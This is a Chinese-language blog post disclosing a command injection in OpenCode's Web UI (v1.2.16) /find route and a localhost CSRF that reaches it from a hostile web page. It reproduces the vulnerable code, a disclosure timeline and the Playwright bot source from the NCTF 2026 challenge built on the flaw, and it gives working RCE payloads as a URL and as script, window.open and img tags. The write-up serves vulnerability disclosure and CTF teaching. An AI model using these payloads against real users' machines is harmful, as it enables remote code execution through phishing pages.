Skip to content
Go back

OpenShell: Ripgrep Command Injection in OpenCode Web UI

Edit page

Table of contents

Open Table of contents

Analysis

今年给 NCTF 2026 出了一道关于 OpenCode 的题目,思路来源于两个月前挖的一个命令注入,当时通过 GitHub Advisory 提交给官方但是迟迟不见回复,后来一看竟然被官方偷偷修复了,着实有点难绷

OpenCode 存在一个 Web UI 功能,允许通过 opencode web 命令在本地启动 Web 网页,方便用户在浏览器中进行 vibe coding

https://opencode.ai/docs/web/

Web UI 暴露了一系列的 API 路由,其中之一是 /find 路由

https://github.com/anomalyco/opencode/blob/v1.2.16/packages/opencode/src/server/routes/file.ts#L37

const pattern = c.req.valid("query").pattern // GET parameter
const result = await Ripgrep.search({
  cwd: Instance.directory,
  pattern,
  limit: 10,
})
return c.json(result)

/find 路由会调用 ripgrep 命令对文件内容进行搜索

https://github.com/anomalyco/opencode/blob/v1.2.16/packages/opencode/src/file/ripgrep.ts#L333

const args = [`${await filepath()}`, "--json", "--hidden", "--glob='!.git/*'"]
if (input.follow) args.push("--follow")

if (input.glob) {
  for (const g of input.glob) {
    args.push(`--glob=${g}`)
  }
}

if (input.limit) {
  args.push(`--max-count=${input.limit}`)
}

args.push("--")
args.push(input.pattern)

const command = args.join(" ")
const result = await $`${{ raw: command }}`.cwd(input.cwd).quiet().nothrow() // command injection
if (result.exitCode !== 0) {
  return []
}

跟进后发现会将 GET 输入拼接到 ripgrep 的参数里面然后直接执行命令

代码中的 $ 表示 Bun 的命令执行语法:https://bun.com/docs/runtime/shell

这种语法在默认情况下使用不会存在任何问题,然而这里却错误的加上了 raw 参数,这会导致传入的命令参数不会被转义,因此存在命令注入漏洞

在理想情况下,只需要向如下的 URL 发起 GET 请求就可以实现 RCE

http://127.0.0.1:4096/find?pattern=`open%20-a%20Calculator`

用户在使用的时候通常会通过 opencode web 命令在本地启动 Web UI,即使不按照文档的要求设置 OPENCODE_SERVER_PASSWORD 鉴权,用户也会认为不存在安全风险,因为 Web UI 默认只监听在 127.0.0.1:4096,不会被外部访问

https://opencode.ai/docs/web/

警告:如果未设置 OPENCODE_SERVER_PASSWORD,服务器将没有安全保护。本地使用没有问题,但在网络访问时应当设置密码。

然而,结合上面的 /find 路由,这里实际上存在 localhost CSRF 漏洞(应该叫这个?)

假如用户使用浏览器访问了攻击者可控的钓鱼网页,那么攻击者就可以通过 HTML or JS 代码来向 localhost API 发起跨域请求,导致 CSRF

这种 localhost 跨域请求可以通过配置 CORS 策略来避免,OpenCode Web UI 服务端也实现了很严格的 CORS 策略

https://github.com/anomalyco/opencode/blob/v1.2.16/packages/opencode/src/server/server.ts#L108

.use(
  cors({
    origin(input) {
      if (!input) return

      if (input.startsWith("http://localhost:")) return input
      if (input.startsWith("http://127.0.0.1:")) return input
      if (
        input === "tauri://localhost" ||
        input === "http://tauri.localhost" ||
        input === "https://tauri.localhost"
      )
        return input

      // *.opencode.ai (https only, adjust if needed)
      if (/^https:\/\/([a-z0-9-]+\.)*opencode\.ai$/.test(input)) {
        return input
      }
      if (_corsWhitelist.includes(input)) {
        return input
      }

      return
    },
  }),
)

但在这里实际上是不起作用的,因为上述的 /find 路由是一个 GET 请求,你仍然可以通过 fetch 来发起跨域请求,只是受限于 CORS 不能够读取 response 而已

当然也可以使用 window.openlocation.href 以及 script、img 等支持跨域的各种标签来发起这个 GET 请求,有很多种利用手法

因此,在这种场景下,如果用户访问了 attacker.com,攻击者在 HTML 中使用如下的 payload,就可以直接在用户机器上实现 RCE

<script>
fetch("http://127.0.0.1:4096/find?pattern=`open%20-a%20Calculator`");
</script>
<script>
window.open("http://127.0.0.1:4096/find?pattern=`open%20-a%20Calculator`")
</script>
<img src="http://127.0.0.1:4096/find?pattern=`open%20-a%20Calculator`" />

Timeline

2026.02.24:提交漏洞报告

https://github.com/anomalyco/opencode/security/advisories/GHSA-9mfq-vx9c-m9r2

2026.03.03:补充漏洞信息

It's worth noting that the official OpenCode documentation (https://opencode.ai/docs/web/) explicitly states:

> Caution: If `OPENCODE_SERVER_PASSWORD` is not set, the server will be unsecured. **This is fine for local use** but should be set for network access.

However, even for local use, the security issue above still exist in this case.

2026.03.10:官方偷偷修复

https://github.com/anomalyco/opencode/commit/2f2856e20ad3433e6d82ff8d2e51f4ff14f9f098

https://github.com/anomalyco/opencode/pull/16286

2026.03.14:在 GitHub Advisory 中询问报告的处理进度,迟迟没有回复,索性直接出成 CTF 题 😋

NCTF 2026

https://github.com/X1cT34m/NCTF2026/tree/main/Web/OpenShell

其实就是基于前面的内容弄了一个 playwright bot,模拟用户被钓鱼的场景

const express = require("express");
const { chromium } = require("playwright-core");

const app = express();
app.use(express.json());

const visitUrl = async (url) => {
    let browser;
    try {
        browser = await chromium.launch({
            headless: true,
            executablePath: "/usr/bin/chromium-headless-shell",
            args: [
                "--no-sandbox",
                "--disable-gpu",
                "--disable-dev-shm-usage",
            ],
        });
        const context = await browser.newContext();
        const page = await context.newPage();
        await page.goto(url, { waitUntil: "domcontentloaded", timeout: 15_000 });
        await page.waitForTimeout(15_000);
        await context.close();
    } catch (error) {
        console.error(JSON.stringify({ url, error: String(error) }));
    } finally {
        if (browser) {
            await browser.close();
        }
    }
};

app.post("/report", (req, res) => {
    const { url } = req.body;
    const parsed = new URL(url);

    if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
        return res.status(400).json({
            ok: false,
            error: "invalid url",
        });
    }

    if (!parsed.hostname.endsWith('.pages.dev')) {
        return res.status(400).json({
            ok: false,
            error: "invalid url",
        });
    }

    setImmediate(() => visitUrl(url));

    return res.status(200).json({
        ok: true,
        message: "accepted",
    });
});

app.listen(8000, "0.0.0.0", () => {
    console.log(`bot listening on 0.0.0.0:8000`);
});

在 Cloudflare Pages 中部署相关 HTML 源码就行

赛后统计了一下解题情况,校内外一共 919 支队伍,其中只有 31 支队伍成功解出了这道题目,考虑到今年抓 PY 的情况,实际这个数字还要再少一点点


Edit page
Share this post on:

Next Post
Attack Surface Analysis of Cursor